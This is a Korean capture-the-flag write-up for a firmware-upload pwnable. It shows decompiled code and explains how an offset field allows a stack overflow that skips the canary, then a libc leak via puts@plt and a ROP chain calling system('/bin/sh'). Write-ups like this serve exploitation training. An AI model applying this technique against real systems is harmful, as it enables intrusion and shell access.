[2025 Hacksium Busan 본선] 산업 장비 업데이트
[2025 Hacksium Busan 본선] 산업 장비 업데이트
카테고리
Pwnable
문제 분석 및 풀이
펌웨어를 업로드, 적용 및 조회할 수 있는 바이너리이다. 그 중 업로드 기능을 보면 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
unsigned __int64 upload()
{
__int16 v1; // [rsp+0h] [rbp-1040h]
__int16 v2; // [rsp+2h] [rbp-103Eh]
__int16 v3; // [rsp+4h] [rbp-103Ch]
FILE *s; // [rsp+8h] [rbp-1038h]
__int64 buf[517]; // [rsp+10h] [rbp-1030h] BYREF
unsigned __int64 v6; // [rsp+1038h] [rbp-8h]
v6 = __readfsqword(0x28u);
memset(buf, 0, 4128uLL);
printf("[+] Enter data: ");
read(0, buf, 0x10uLL);
v1 = HIWORD(buf[1]);
v2 = WORD2(buf[1]);
if ( SHIWORD(buf[1]) <= 0x1020 )
{
if ( LODWORD(buf[0]) == 0x4743 ) // "CG"
{
read(0, &buf[2], 0x20uLL);
v3 = v1 - v2 - 32;
if ( v3 <= 0xFF0 )
{
read(0, (char *)&buf[4] + v2, (unsigned __int16)v3);
s = fopen("firmware.bin", "wb");
fwrite(buf, 1uLL, 0x1020uLL, s);
fclose(s);
printf("[+] Firmware uploaded: %s (version: %d)\n", (const char *)&buf[2], HIDWORD(buf[0]));
}
else
{
puts("[-] Data size is too largs.");
}
}
else
{
puts("[-] Invalid magic number.");
}
}
else
{
puts("[-] Total size is too large.");
}
return v6 - __readfsqword(0x28u);
}
buf[0]
의 하위 2바이트는 “CG”여야 한다.buf[1]
의 하위 2바이트는v1
이며, 헤더를 제외한 펌웨어의 크기로 추정된다.buf[1]
의 다음 하위 2바이트는v2
이며, 세 번째read
함수 호출에서 버퍼 오프셋으로 사용된다.v3
는v1 - v2 + 32
로 계산되며, 세 번째read
함수 호출에서 읽을 크기로 사용된다.
v2
의 값에 따라 입력 버퍼의 오프셋을 조절할 수 있으므로, 이를 잘 조절하면 스택 카나리를 무시하고 반환 주소를 덮어쓸 수 있다.
하지만 아무런 leak 없이 반환 주소를 덮어쓸 방법은 없으니, leak할 방법을 찾아야 한다. 나는 여기서 꼼수를 썼다.
우선, 바이너리를 checksec으로 확인해보면 PIE가 적용되어 있지 않다.
1
2
3
4
5
6
7
8
9
$ checksec prob
[*] '/mnt/d/Git/Dreamhack/CTF/HacksiumFinal/산업장비업데이트/prob'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
또한, 위의 upload
함수에서 모든 if문을 통과하여 fwrite
함수까지 수행하고 반환될 당시의 레지스터를 보면 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0x0000000000401a8e in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────
RAX 0
RBX 0x7f7b88167640 ◂— 0x7f7b88167640
RCX 0x7f7b8827f8bf (write+79) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0
RDI 0x7f7b88163ba0 —▸ 0x7f7b881cd050 (funlockfile) ◂— endbr64
RSI 0x7f7b88163cc0 ◂— '[+] Firmware uploaded: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (version: 0)\n'
R8 0x45
R9 0x7f7b88163b57 ◂— 0x7596845442740000
R10 0
R11 0x293
R12 0x7f7b88167640 ◂— 0x7f7b88167640
R13 2
R14 0x7f7b881ff7d0 (start_thread) ◂— endbr64
R15 0x7fff827b7480 ◂— 0
*RBP 0x7f7b88166e50 ◂— 0
*RSP 0x7f7b88166e28 —▸ 0x401204 ◂— jmp qword ptr [rip + 0x3d1e]
*RIP 0x401a8e ◂— ret
RDI
레지스터에funlockfile
주소가 저장되어 있으며, 이는 libc 라이브러리상의 주소이다.- 따라서 반환 주소를 조작 가능하면서 PIE가 적용되어 있지 않고,
puts@plt
가 있으므로 곧장puts
함수를 호출하면 libc 주소를 얻을 수 있다. puts
함수 후에는 정상 동작하도록 기존의 반환 주소를 그대로 이어 붙여준다.
이후 똑같은 upload payload를 한번 더 이용하되 반환 주소를 p64(pop_rdi) + p64("/bin/sh" 주소) + p64(ret) + p64(system)
으로 조작하여 쉘을 얻는다.
이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.